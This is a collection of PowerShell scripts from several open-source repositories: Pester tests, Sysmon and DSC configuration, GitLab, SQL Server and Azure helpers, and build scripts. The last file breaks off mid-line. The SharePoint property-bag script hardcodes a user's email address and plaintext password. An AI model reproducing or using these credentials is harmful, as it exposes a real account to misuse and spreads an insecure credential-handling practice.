# Add New Method to ALL Objects in PowerShell # The below adds the method PSAddMember() to all objects in the PowerShell Session [system.object] | Update-TypeData -MemberType ScriptMethod -MemberName PSAddMember -Value { switch ($args.count) { 1 { $hash = $args[0] -as [HashTable] foreach ($key in $hash.keys) { Add-Member -InputObject $this -Name $key -value $hash.$key -MemberType NoteProperty -Force } } 2 { $name,$value = $args Add-Member -InputObject $this -Name $name -value $value -MemberType NoteProperty -Force } 3 { $name,$value,$MemberType = $args Add-Member -InputObject $this -Name $name -value $value -MemberType $MemberType -Force } } } # The below adds the method MSDN() to all objects in the PowerShell Session [system.object] | Update-TypeData -MemberType ScriptMethod -MemberName MSDN -Value { if (($global:MSDNViewer -eq $null) -or ($global:MSDNViewer.HWND -eq $null)) { $global:MSDNViewer = New-Object -ComObject InternetExplorer.Application } $Uri = "http://msdn2.microsoft.com/library/" + $this.GetType().FullName + ".ASPX" $global:MSDNViewer.Navigate2($Uri) $global:MSDNViewer.Visible = $TRUE }
pldmgg/misc-powershell
MyScripts/Add-NewMethodToAllObjects.ps1
PowerShell
apache-2.0
1,307
$here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".") function Stop-Pester() { [Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseShouldProcessForStateChangingFunctions", "")] PARAM ( $message = "EMERGENCY: Script cannot continue." ) $msg = $message; $e = New-CustomErrorRecord -msg $msg -cat OperationStopped -o $msg; $PSCmdlet.ThrowTerminatingError($e); } Describe "New-Folder" -Tags "New-Folder" { Mock Export-ModuleMember { return $null; } . "$here\$sut" . "$here\Format-ResultAs.ps1" . "$here\Get-User.ps1" . "$here\Set-Folder.ps1" . "$here\Get-Folder.ps1" $entityPrefix = "TestItem-"; $usedEntitySets = @("Folders"); Context "New-Folder" { BeforeEach { $moduleName = 'biz.dfch.PS.Appclusive.Client'; Remove-Module $moduleName -ErrorAction:SilentlyContinue; Import-Module $moduleName; $svc = Enter-ApcServer; } AfterEach { $svc = Enter-ApcServer; $entityFilter = "startswith(Name, '{0}')" -f $entityPrefix; foreach ($entitySet in $usedEntitySets) { $entities = $svc.Core.$entitySet.AddQueryOption('$filter', $entityFilter) | Select; foreach ($entity in $entities) { Remove-ApcEntity -svc $svc -Id $entity.Id -EntitySetName $entitySet -Confirm:$false; } } } It "Warmup" -Test { $true | Should Be $true; } It "New-Folder-ShouldReturnNewEntity" -Test { # Arrange $name = $entityPrefix + "Name-{0}" -f [guid]::NewGuid().ToString(); # Act $result = New-Folder -svc $svc -Name $name; # Assert $result | Should Not Be $null; $result.Name | Should Be $name; $result.Id | Should Not Be 0; } It "New-Folder-CreateInSelectedFolder" -Test { # Arrange $name1 = $entityPrefix + "Name1-{0}" -f [guid]::NewGuid().ToString(); $name2 = $entityPrefix + "Name2-{0}" -f [guid]::NewGuid().ToString(); # Act $folder1 = New-Folder -svc $svc -Name $name1; $folder2 = New-Folder -svc $svc -Name $name2 -ParentId $folder1.Id; # Assert $folder1 | Should Not Be $null; $folder1.Name | Should Be $name1; $folder1.Id | Should Not Be 0; $folder2 | Should Not Be $null; $folder2.Name | Should Be $name2; $folder2.Id | Should Not Be 0; $folder2.ParentId | Should Be $folder1.Id; #remove child folder otherwise cleanup won't work Remove-ApcEntity -svc $svc -Id $folder2.Id -EntitySetName "folders" -Confirm:$false; } It "New-Folder-CreateWithNonexistingParentId-ShouldNotCreateAndReturnNull" -Test { # Arrange $name = $entityPrefix + "Name-{0}" -f [guid]::NewGuid().ToString(); # Act $result = New-Folder -svc $svc -Name $name -ParentId 9999999; # Assert $result | Should Be $null; } } } # # Copyright 2016 d-fens GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #
dfensgmbh/biz.dfch.PS.Appclusive.Client
src/New-Folder.Tests.ps1
PowerShell
apache-2.0
3,484
<# .SYNOPSIS Create a new filter for WMI Permamanent Event Classes. .DESCRIPTION Create a new filter for WMI permamanent event classes are created or connected. Useful for monitoring for persistence actions. #> function New-SysmonWmiFilter { [CmdletBinding(DefaultParameterSetName = 'Path', HelpUri = 'https://github.com/darkoperator/Posh-Sysmon/blob/master/docs/New-SysmonWmiFilter.md')] Param ( # Path to XML config file. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, ParameterSetName='Path', Position=0)] [ValidateScript({Test-Path -Path $_})] $Path, # Path to XML config file. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, ParameterSetName='LiteralPath', Position=0)] [ValidateScript({Test-Path -Path $_})] [Alias('PSPath')] $LiteralPath, # Event type on match action. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=1)] [ValidateSet('include', 'exclude')] [string] $OnMatch, # Condition for filtering against and event field. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=2)] [ValidateSet('Is', 'IsNot', 'Contains', 'Excludes', 'Image', 'BeginWith', 'EndWith', 'LessThan', 'MoreThan')] [string] $Condition, # Event field to filter on. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=3)] [ValidateSet('Name', 'EventNamespace', 'Destination', 'Type', 'Query', 'Operation', 'Consumer', 'Filter')] [string] $EventField, # Value of Event Field to filter on. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=4)] [string[]] $Value, # Rule Name for the filter. [Parameter(Mandatory=$false, ValueFromPipelineByPropertyName=$true)] [string] $RuleName ) Begin {} Process { $FieldString = $MyInvocation.MyCommand.Module.PrivateData[$EventField] $cmdoptions = @{ 'EventType' = 'WmiEvent' 'Condition' = $Condition 'EventField' = $FieldString 'Value' = $Value 'OnMatch' = $OnMatch } if($RuleName) { $cmdoptions.Add('RuleName',$RuleName) } switch ($PSCmdlet.ParameterSetName) { 'Path' { $cmdOptions.Add('Path',$Path) New-RuleFilter @cmdOptions } 'LiteralPath' { $cmdOptions.Add('LiteralPath',$LiteralPath) New-RuleFilter @cmdOptions } } } End {} }
darkoperator/Posh-Sysmon
Functions/New-SysmonWmiFilter.ps1
PowerShell
bsd-3-clause
2,935
configuration XD7LabSessionHost { param ( ## Citrix XenDesktop installation source root [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [System.String] $XenDesktopMediaPath, ## Citrix XenDesktop delivery controller address(es) [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [System.String[]] $ControllerAddress, ## RDS license server [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [System.String] $RDSLicenseServer, ## Users/groups to add to the local Remote Desktop Users group [Parameter()] [ValidateNotNullOrEmpty()] [System.String[]] $RemoteDesktopUsers, ## Active Directory domain account used to communicate with AD for Remote Desktop Users [Parameter()] [ValidateNotNull()] [System.Management.Automation.PSCredential] [System.Management.Automation.CredentialAttribute()] $Credential, ## Windows features to install on session host [Parameter()] [System.String[]] $WindowsFeature = @('RDS-RD-Server', 'Remote-Assistance', 'Desktop-Experience') ) Import-DscResource -ModuleName XenDesktop7; $featureDependsOn = @(); foreach ($feature in $WindowsFeature) { WindowsFeature $feature { Name = $feature; Ensure = 'Present'; } $featureDependsOn += "[WindowsFeature]$feature"; } if ($featureDependsOn.Count -ge 1) { XD7VDAFeature 'XD7SessionVDA' { Role = 'SessionVDA'; SourcePath = $XenDesktopMediaPath; DependsOn = $featureDependsOn; } } else { XD7VDAFeature 'XD7SessionVDA' { Role = 'SessionVDA'; SourcePath = $XenDesktopMediaPath; } } foreach ($controller in $ControllerAddress) { XD7VDAController "XD7VDA_$controller" { Name = $controller; DependsOn = '[XD7VDAFeature]XD7SessionVDA'; } } if ($PSBoundParameters.ContainsKey('RemoteDesktopUsers')) { if ($PSBoundParameters.ContainsKey('Credential')) { Group 'RemoteDesktopUsers' { GroupName = 'Remote Desktop Users'; MembersToInclude = $RemoteDesktopUsers; Ensure = 'Present'; Credential = $Credential; } } else { Group 'RemoteDesktopUsers' { GroupName = 'Remote Desktop Users'; MembersToInclude = $RemoteDesktopUsers; Ensure = 'Present'; } } #end if Credential } #end if Remote Desktop Users Registry 'RDSLicenseServer' { Key = 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService\Parameters\LicenseServers'; ValueName = 'SpecifiedLicenseServers'; ValueData = $RDSLicenseServer; ValueType = 'MultiString'; } Registry 'RDSLicensingMode' { Key = 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\RCM\Licensing Core'; ValueName = 'LicensingMode'; ValueData = '4'; # 2 = Per Device, 4 = Per User ValueType = 'Dword'; } } #end configuration XD7LabSessionHost
VirtualEngine/XenDesktop7Lab
DSCResources/XD7LabSessionHost/XD7LabSessionHost.schema.psm1
PowerShell
mit
3,398
Function New-GitLabUser { [CmdletBinding()] param ( [ValidateNotNullOrEmpty()] [Parameter(Mandatory=$true)] [string]$Email, [ValidateNotNullOrEmpty()] [ValidatePattern("(?# Error: Password Must Contain at least 8 characters).{8,}")] [Parameter(Mandatory=$true)] [string]$Password, [ValidateNotNullOrEmpty()] [Parameter(Mandatory=$true)] [string]$Username, [ValidateNotNullOrEmpty()] [Parameter(Mandatory=$true)] [string]$Name, [string]$SkypeID = $null, [string]$LinkedIn = $null, [string]$Twitter = $null, [string]$WebsiteURL = $null, [int]$ProjectsLimit = 0, [switch]$Admin = $false, [switch]$CanCreateGroup = $false, [switch]$External = $false, [switch]$Passthru = $false ) $Body = @{ email = $Email password = $Password username = $Username name = $Name } if ($SkypeID -ne $null ) { $Body.Add('skype',$SkypeID) } if ($LinkedIn -ne $null ) { $Body.Add('linkedin',$LinkedIn) } if ($Twitter -ne $null ) { $Body.Add('twitter',$Twitter) } if ($WebsiteURL -ne $null ) { $Body.Add('website_url',$WebsiteURL) } if ($ProjectsLimit -ne $null ) { $Body.Add('projects_limit',$ProjectsLimit) } if ($Admin.IsPresent ) { $Body.Add('admin','true') } if ($CanCreateGroup.IsPresent ) { $Body.Add('can_create_group','true') } if ($External.IsPresent ) { $Body.Add('external','true') } $Request = @{ URI = '/users' Method = 'POST' Body = $Body } $Results = QueryGitLabAPI -Request $Request -ObjectType 'GitLab.User' if ($Passthru.IsPresent) { $Results } }
TerrapinStation/PSGitLab
PSGitLab/Public/User/New-GitLabUser.ps1
PowerShell
mit
1,761
function Get-DbaInstanceProperty { <# .SYNOPSIS Gets SQL Server instance properties of one or more instance(s) of SQL Server. .DESCRIPTION The Get-DbaInstanceProperty command gets SQL Server instance properties from the SMO object sqlserver. .PARAMETER SqlInstance The target SQL Server instance or instances. This can be a collection and receive pipeline input to allow the function to be executed against multiple SQL Server instances. .PARAMETER SqlCredential Login to the target instance using alternative credentials. Accepts PowerShell credentials (Get-Credential). Windows Authentication, SQL Server Authentication, Active Directory - Password, and Active Directory - Integrated are all supported. For MFA support, please use Connect-DbaInstance. .PARAMETER InstanceProperty SQL Server instance property(ies) to include. .PARAMETER ExcludeInstanceProperty SQL Server instance property(ies) to exclude. .PARAMETER EnableException By default, when something goes wrong we try to catch it, interpret it and give you a friendly warning message. This avoids overwhelming you with "sea of red" exceptions, but is inconvenient because it basically disables advanced scripting. Using this switch turns this "nice by default" feature off and enables you to catch exceptions with your own try/catch. .NOTES Tags: Instance, Configure, Configuration Author: Klaas Vandenberghe (@powerdbaklaas) Website: https://dbatools.io Copyright: (c) 2018 by dbatools, licensed under MIT License: MIT https://opensource.org/licenses/MIT .LINK https://dbatools.io/Get-DbaInstanceProperty .EXAMPLE PS C:\> Get-DbaInstanceProperty -SqlInstance localhost Returns SQL Server instance properties on the local default SQL Server instance .EXAMPLE PS C:\> Get-DbaInstanceProperty -SqlInstance sql2, sql4\sqlexpress Returns SQL Server instance properties on default instance on sql2 and sqlexpress instance on sql4 .EXAMPLE PS C:\> 'sql2','sql4' | Get-DbaInstanceProperty Returns SQL Server instance properties on sql2 and sql4 .EXAMPLE PS C:\> Get-DbaInstanceProperty -SqlInstance sql2,sql4 -InstanceProperty DefaultFile Returns SQL Server instance property DefaultFile on instance sql2 and sql4 .EXAMPLE PS C:\> Get-DbaInstanceProperty -SqlInstance sql2,sql4 -ExcludeInstanceProperty DefaultFile Returns all SQL Server instance properties except DefaultFile on instance sql2 and sql4 .EXAMPLE PS C:\> $cred = Get-Credential sqladmin PS C:\> Get-DbaInstanceProperty -SqlInstance sql2 -SqlCredential $cred Connects using sqladmin credential and returns SQL Server instance properties from sql2 #> [CmdletBinding(DefaultParameterSetName = "Default")] param ( [parameter(Mandatory, ValueFromPipeline)] [DbaInstanceParameter[]]$SqlInstance, [PSCredential]$SqlCredential, [object[]]$InstanceProperty, [object[]]$ExcludeInstanceProperty, [switch]$EnableException ) process { foreach ($instance in $SqlInstance) { try { $server = Connect-DbaInstance -SqlInstance $instance -SqlCredential $SqlCredential } catch { Stop-Function -Message "Failure" -Category ConnectionError -ErrorRecord $_ -Target $instance -Continue } try { $infoProperties = $server.Information.Properties if ($InstanceProperty) { $infoProperties = $infoProperties | Where-Object Name -In $InstanceProperty } if ($ExcludeInstanceProperty) { $infoProperties = $infoProperties | Where-Object Name -NotIn $ExcludeInstanceProperty } foreach ($prop in $infoProperties) { Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name ComputerName -Value $server.ComputerName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name InstanceName -Value $server.ServiceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name SqlInstance -Value $server.DomainInstanceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name PropertyType -Value 'Information' Select-DefaultView -InputObject $prop -Property ComputerName, InstanceName, SqlInstance, Name, Value, PropertyType } } catch { Stop-Function -Message "Issue gathering information properties for $instance." -Target $instance -ErrorRecord $_ -Continue } try { $userProperties = $server.UserOptions.Properties if ($InstanceProperty) { $userProperties = $userProperties | Where-Object Name -In $InstanceProperty } if ($ExcludeInstanceProperty) { $userProperties = $userProperties | Where-Object Name -NotIn $ExcludeInstanceProperty } foreach ($prop in $userProperties) { Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name ComputerName -Value $server.ComputerName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name InstanceName -Value $server.ServiceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name SqlInstance -Value $server.DomainInstanceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name PropertyType -Value 'UserOption' Select-DefaultView -InputObject $prop -Property ComputerName, InstanceName, SqlInstance, Name, Value, PropertyType } } catch { Stop-Function -Message "Issue gathering user options for $instance." -Target $instance -ErrorRecord $_ -Continue } try { $settingProperties = $server.Settings.Properties if ($InstanceProperty) { $settingProperties = $settingProperties | Where-Object Name -In $InstanceProperty } if ($ExcludeInstanceProperty) { $settingProperties = $settingProperties | Where-Object Name -NotIn $ExcludeInstanceProperty } foreach ($prop in $settingProperties) { Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name ComputerName -Value $server.ComputerName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name InstanceName -Value $server.ServiceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name SqlInstance -Value $server.DomainInstanceName Add-Member -Force -InputObject $prop -MemberType NoteProperty -Name PropertyType -Value 'Setting' Select-DefaultView -InputObject $prop -Property ComputerName, InstanceName, SqlInstance, Name, Value, PropertyType } } catch { Stop-Function -Message "Issue gathering settings for $instance." -Target $instance -ErrorRecord $_ -Continue } } } }
wsmelton/dbatools
functions/Get-DbaInstanceProperty.ps1
PowerShell
mit
7,478
$packageName = 'blink' $installerType = 'exe' $silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' $validExitCodes = @(0) $url = 'https://blink.sipthor.net/download.phtml?download&os=nt' $checksum = 'ae2e89bd39ccfb7a64ef587e7038651b' $checksumType = 'md5' Install-ChocolateyPackage "$packageName" "$installerType" "$silentArgs" "$url" -validExitCodes $validExitCodes -checksum "$checksum" -checksumType "$checksumType"
dtgm/chocolatey-packages
automatic/_output/blink/1.4.1/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
430
[CmdletBinding()] param() Trace-VstsEnteringInvocation $MyInvocation try { Import-VstsLocStrings "$PSScriptRoot\task.json" # Get inputs. $input_failOnStderr = Get-VstsInput -Name 'failOnStderr' -AsBool $input_script = Get-VstsInput -Name 'script' $input_workingDirectory = Get-VstsInput -Name 'workingDirectory' -Require Assert-VstsPath -LiteralPath $input_workingDirectory -PathType 'Container' # Generate the script contents. Write-Host (Get-VstsLocString -Key 'GeneratingScript') $contents = "$input_script".Replace("`r`n", "`n").Replace("`n", "`r`n") if ($contents.IndexOf("`n") -lt 0 -and $contents.IndexOf("##vso[", ([System.StringComparison]::OrdinalIgnoreCase)) -lt 0) { # Print one-liner scripts. Write-Host (Get-VstsLocString -Key 'ScriptContents') Write-Host $contents } # Prepend @echo off instead of using the /Q command line switch. When /Q is used, echo can't be turned on. $contents = "@echo off`r`n$contents" # Write the script to disk. Assert-VstsAgent -Minimum '2.115.0' $tempDirectory = Get-VstsTaskVariable -Name 'agent.tempDirectory' -Require Assert-VstsPath -LiteralPath $tempDirectory -PathType 'Container' $filePath = [System.IO.Path]::Combine($tempDirectory, "$([System.Guid]::NewGuid()).cmd") $fileEncoding = [System.Console]::OutputEncoding if ($fileEncoding.CodePage -eq 65001) { # If UTF8, write without BOM $fileEncoding = New-Object System.Text.UTF8Encoding $False } $null = [System.IO.File]::WriteAllText( $filePath, $contents.ToString(), $fileEncoding) # Prepare the external command values. $cmdPath = $env:ComSpec Assert-VstsPath -LiteralPath $cmdPath -PathType Leaf # Command line switches: # /D Disable execution of AutoRun commands from registry. # /E:ON Enable command extensions. Note, command extensions are enabled # by default, unless disabled via registry. # /V:OFF Disable delayed environment expansion. Note, delayed environment # expansion is disabled by default, unless enabled via registry. # /S Will cause first and last quote after /C to be stripped. # # Note, use CALL otherwise if a script ends with "goto :eof" the errorlevel # will not bubble as the exit code of cmd.exe. $arguments = "/D /E:ON /V:OFF /S /C `"CALL `"$filePath`"`"" $splat = @{ 'FileName' = $cmdPath 'Arguments' = $arguments 'WorkingDirectory' = $input_workingDirectory } # Switch to "Continue". $global:ErrorActionPreference = 'Continue' $failed = $false # Run the script. Write-Host '========================== Starting Command Output ===========================' if (!$input_failOnStderr) { Invoke-VstsTool @splat } else { $inError = $false $errorLines = New-Object System.Text.StringBuilder Invoke-VstsTool @splat 2>&1 | ForEach-Object { if ($_ -is [System.Management.Automation.ErrorRecord]) { # Buffer the error lines. $failed = $true $inError = $true $null = $errorLines.AppendLine("$($_.Exception.Message)") # Write to verbose to mitigate if the process hangs. Write-Verbose "STDERR: $($_.Exception.Message)" } else { # Flush the error buffer. if ($inError) { $inError = $false $message = $errorLines.ToString().Trim() $null = $errorLines.Clear() if ($message) { Write-VstsTaskError -Message $message } } Write-Host "$_" } } # Flush the error buffer one last time. if ($inError) { $inError = $false $message = $errorLines.ToString().Trim() $null = $errorLines.Clear() if ($message) { Write-VstsTaskError -Message $message } } } # Fail on $LASTEXITCODE if (!(Test-Path -LiteralPath 'variable:\LASTEXITCODE')) { $failed = $true Write-Verbose "Unable to determine exit code" Write-VstsTaskError -Message (Get-VstsLocString -Key 'PS_UnableToDetermineExitCode') } else { if ($LASTEXITCODE -ne 0) { $failed = $true Write-VstsTaskError -Message (Get-VstsLocString -Key 'PS_ExitCode' -ArgumentList $LASTEXITCODE) } } # Fail if any errors. if ($failed) { Write-VstsSetResult -Result 'Failed' -Message "Error detected" -DoNotThrow } } finally { Trace-VstsLeavingInvocation $MyInvocation }
Microsoft/vso-agent-tasks
Tasks/CmdLineV2/cmdline.ps1
PowerShell
mit
4,871
[CmdletBinding()] param() # Arrange. . $PSScriptRoot\..\..\..\..\Tests\lib\Initialize-Test.ps1 Microsoft.PowerShell.Core\Import-Module Microsoft.PowerShell.Security Unregister-Mock Import-Module Register-Mock Write-VstsTaskError Register-Mock Get-VstsWebProxy { } $module = Microsoft.PowerShell.Core\Import-Module $PSScriptRoot\.. -PassThru $endpoint = @{ Auth = @{ Parameters = @{ ServicePrincipalId = 'Some service principal ID' ServicePrincipalKey = 'Some service principal key' TenantId = 'Some tenant ID' } Scheme = 'ManagedServiceIdentity' } Data = @{ SubscriptionId = 'Some subscription ID' SubscriptionName = 'Some subscription name' } } $content = @" {"access_token" : "Dummy Token" } "@ $response = @{ Content = $content StatusCode = 200 StatusDescription = 'OK' }; $variableSets = @( @{ StorageAccount = 'Some storage account' } ) foreach ($variableSet in $variableSets) { Write-Verbose ('-' * 80) Unregister-Mock Add-AzureRMAccount Unregister-Mock Set-CurrentAzureRMSubscription Unregister-Mock Invoke-WebRequest Unregister-Mock Set-UserAgent Register-Mock Add-AzureRMAccount { 'some output' } Register-Mock Set-CurrentAzureRMSubscription Register-Mock Set-UserAgent Register-Mock Invoke-WebRequest { $response } # Act. $result = & $module Initialize-AzureSubscription -Endpoint $endpoint -StorageAccount $variableSet.StorageAccount Assert-AreEqual $null $result Assert-WasCalled Set-CurrentAzureRMSubscription -- -SubscriptionId $endpoint.Data.SubscriptionId -TenantId $endpoint.Auth.Parameters.TenantId }
maikvandergaag/msft-vsts-extensions
azuredevops/azureresourcegroup/azureresourcegroup/ps_modules/VstsAzureHelpers_/Tests/Initialize-AzureSubscription.ManagedServiceIdentity.ps1
PowerShell
mit
1,700
#Requires -Modules Pester <# .SYNOPSIS Tests the AzureRateCard module .EXAMPLE Invoke-Pester .NOTES This script originated from work found here: https://github.com/kmarquette/PesterInAction scriptanalyzer section basics taken from DSCResource.Tests #> Import-Module -Name (Join-Path -Path $PSScriptRoot -ChildPath 'ModuleHelper.psm1') -Force $ErrorActionPreference = 'stop' Set-StrictMode -Version latest $RepoRoot = (Resolve-Path $PSScriptRoot\..).Path $psVersion = $PSVersionTable.PSVersion #region PSScriptanalyzer if ($psVersion.Major -ge 5) { Write-Verbose -Verbose "Installing PSScriptAnalyzer" $PSScriptAnalyzerModuleName = "PSScriptAnalyzer" Install-Module -Name $PSScriptAnalyzerModuleName -Scope CurrentUser -Force $PSScriptAnalyzerModule = get-module -Name $PSScriptAnalyzerModuleName -ListAvailable if ($PSScriptAnalyzerModule) { # Import the module if it is available $PSScriptAnalyzerModule | Import-Module -Force } else { # Module could not/would not be installed - so warn user that tests will fail. Write-Warning -Message ( @( "The 'PSScriptAnalyzer' module is not installed. " "The 'PowerShell modules scriptanalyzer' Pester test will fail " ) -Join '' ) } } else { Write-Verbose -Verbose "Skipping installation of PSScriptAnalyzer since it requires PSVersion 5.0 or greater. Used PSVersion: $($PSVersion)" } #endregion Describe 'Text files formatting' { $allTextFiles = Get-TextFilesList $RepoRoot Context 'Files encoding' { It "Doesn't use Unicode encoding" { $unicodeFilesCount = 0 $allTextFiles | %{ if (Test-FileUnicode $_) { $unicodeFilesCount += 1 Write-Warning "File $($_.FullName) contains 0x00 bytes. It's probably uses Unicode and need to be converted to UTF-8. Use Fixer 'Get-UnicodeFilesList `$pwd | ConvertTo-UTF8'." } } $unicodeFilesCount | Should Be 0 } } Context 'Indentations' { It 'Uses spaces for indentation, not tabs' { $totalTabsCount = 0 $allTextFiles | %{ $fileName = $_.FullName Get-Content $_.FullName -Raw | Select-String "`t" | % { Write-Warning "There are tab in $fileName. Use Fixer 'Get-TextFilesList `$pwd | ConvertTo-SpaceIndentation'." $totalTabsCount++ } } $totalTabsCount | Should Be 0 } } } #end describe file formatting Describe 'Basic validation' { #region ScriptAnalyzer Context 'PSScriptAnalyzer' { It "passes Invoke-ScriptAnalyzer" { # Perform PSScriptAnalyzer scan. # Using ErrorAction SilentlyContinue not to cause it to fail due to parse errors caused by unresolved resources. # Many of our examples try to import different modules which may not be present on the machine and PSScriptAnalyzer throws parse exceptions even though examples are valid. # Errors will still be returned as expected. $PSScriptAnalyzerErrors = Invoke-ScriptAnalyzer -path $RepoRoot -Severity Error -Recurse -ErrorAction SilentlyContinue if ($PSScriptAnalyzerErrors -ne $null) { Write-Error "There are PSScriptAnalyzer errors that need to be fixed:`n $PSScriptAnalyzerErrors" Write-Error "For instructions on how to run PSScriptAnalyzer on your own machine, please go to https://github.com/powershell/psscriptAnalyzer/" $PSScriptAnalyzerErrors.Count | Should Be $null } } } #endregion }
Stijnc/PowerShell.Tests
PowerShell.Tests.ps1
PowerShell
mit
3,733
<# .DESCRIPTION This example shows how to set the minimum and maximum memory configuration option with the value equal to 1024 and 12288. #> Configuration Example { param ( [Parameter(Mandatory = $true)] [System.Management.Automation.PSCredential] $SqlAdministratorCredential ) Import-DscResource -ModuleName 'SqlServerDsc' node localhost { SqlServerMemory 'Set_SQLServerMaxMemory_To12GB' { Ensure = 'Present' DynamicAlloc = $false MinMemory = 1024 MaxMemory = 12288 ServerName = 'sqltest.company.local' InstanceName = 'DSC' PsDscRunAsCredential = $SqlAdministratorCredential } } }
nabrond/xSQLServer
source/Examples/Resources/SqlServerMemory/1-SetMaxMemoryTo12GB.ps1
PowerShell
mit
827
############################################################################################################################################ #Script that gets all the property Bags # Required Parameters: # -> $sUserName: User Name to connect to the SharePoint Online Site Collection. # -> $sPassword: Password for the user. # -> $sSiteUrl: SharePoint Online Site Url ############################################################################################################################################ $host.Runspace.ThreadOptions = "ReuseThread" #Definition of the function that allows to read property bags in SharePoint Online function ReadSPO-PropertyBags { param ($sSiteUrl,$sUserName,$sPassword) try { #Adding the Client OM Assemblies Add-Type -Path "G:\03 Docs\10 MVP\03 MVP Work\11 PS Scripts\Office 365\Microsoft.SharePoint.Client.dll" Add-Type -Path "G:\03 Docs\10 MVP\03 MVP Work\11 PS Scripts\Office 365\Microsoft.SharePoint.Client.Runtime.dll" #SPO Client Object Model Context $spoCtx = New-Object Microsoft.SharePoint.Client.ClientContext($sSiteUrl) $spoCredentials = New-Object Microsoft.SharePoint.Client.SharePointOnlineCredentials($sUserName, $sPassword) $spoCtx.Credentials = $spoCredentials Write-Host "----------------------------------------------------------------------------" -foregroundcolor Green Write-Host "Reading PropertyBags values for $sSiteUrl !!" -ForegroundColor Green Write-Host "----------------------------------------------------------------------------" -foregroundcolor Green $spoSiteCollection=$spoCtx.Site $spoCtx.Load($spoSiteCollection) $spoRootWeb=$spoSiteCollection.RootWeb $spoCtx.Load($spoRootWeb) $spoAllSiteProperties=$spoRootWeb.AllProperties $spoCtx.Load($spoAllSiteProperties) $spoCtx.ExecuteQuery() $spoPropertyBagKeys=$spoAllSiteProperties.FieldValues.Keys #$spoPropertyBagKeys foreach($spoPropertyBagKey in $spoPropertyBagKeys){ Write-Host "PropertyBag Key: " $spoPropertyBagKey " - PropertyBag Value: " $spoAllSiteProperties[$spoPropertyBagKey] -ForegroundColor Green } $spoCtx.Dispose() } catch [System.Exception] { write-host -f red $_.Exception.ToString() } } #Required Parameters $sSiteUrl = "https://fiveshareit.sharepoint.com/sites/mvpcluster/" $sUserName = "juancarlos.gonzalez@fiveshareit.es" #$sPassword = Read-Host -Prompt "Enter your password: " -AsSecureString $sPassword=convertto-securestring "647391&jc" -asplaintext -force ReadSPO-PropertyBags -sSiteUrl $sSiteUrl -sUserName $sUserName -sPassword $sPassword
CompartiMOSS/SharePoint-PowerShell
Office 365/PS_ReadAllPropertyBags_SPOSite.ps1
PowerShell
mit
2,802
# # param ( [string] $testName = "LongGeneratedTest1", [int] $numberOfMethods = 10, [int] $machines = 1, [string] $expID = "dummy" ) if($env:ISEMULATED -ne $true) { $port = "45002" $resource = "http://orleansservicedg.cloudapp.net:"+$port+"/" } else { $resource = "http://localhost:49176/" } $controler="api/Experiments" $cmd = "?testName="+$testName+"&machines="+$machines+"&numberOfMethods="+$numberOfMethods+"&expID="+$expID $uri = $resource+$controler+$cmd Invoke-WebRequest -Uri $uri
too4words/Call-Graph-Builder-DotNet
AzureScripts/InvokeTestExperiments.ps1
PowerShell
mit
504
Import-Module psake Properties { $nuget = (Get-Command nuget.exe).Path $msbuild = (Get-Command msbuild.exe).Path $git = (Get-Command git.exe).Path $solutionFile = (Resolve-path $PSScriptRoot\Elementary.Hierarchy.Collections.sln) $packedProject = (Resolve-path $PSScriptRoot\Elementary.Hierarchy.Collections\Elementary.Hierarchy.Collections.csproj) $localPackageSource = (Resolve-Path "$PSScriptRoot\..\packages") $benchmarkResultExtensions = @( "*.csv" "*.html" "*.log" "*.md" "*.R" "*.txt" ) } Task default -depends clean,build,test #region Build Task build_nuget { & $nuget restore } Task build_csharp { & $msbuild $solutionFile /t:Build /p:Configuration=Debug } Task build_package { & $nuget Pack $packedProject -Prop Configuration=Release -Build -Symbols -MSbuildVersion 14 } Task build -depends build_nuget,buid_csharp #endregion Task clean_nuget { Remove-Item $PSScriptRoot/packages } Task clean { & $msbuild $solutionFile /t:Clean /p:Configuration=Release Remove-Item $PSScriptRoot\*.nupkg -ErrorAction SilentlyContinue } #region publish Task pack { & $nuget Pack $packedProject -Prop Configuration=Release -Build -Symbols -MSbuildVersion 14 Copy-Item $PSScriptRoot\Elementary.Hierarchy.*.nupkg $localPackageSource Get-Item $PSScriptRoot\Elementary.Hierarchy.*.nupkg } -precondition { Test-Path $nuget } -depends clean #endregion Task test { $nunit = (Get-Command $PSScriptRoot\packages\NUnit.ConsoleRunner.3.2.1\tools\nunit3-console.exe).Path & $nunit (Resolve-Path $PSScriptRoot/Elementary.Hierarchy.Collections.Test/Elementary.Hierarchy.Collections.Test.csproj) } -depends build,build_nuget Task measure { Push-Location $PSScriptRoot\Elementary.Hierarchy.Collections.Benchmarks\bin\Release try { # clean old benchmarks Get-ChildItem . 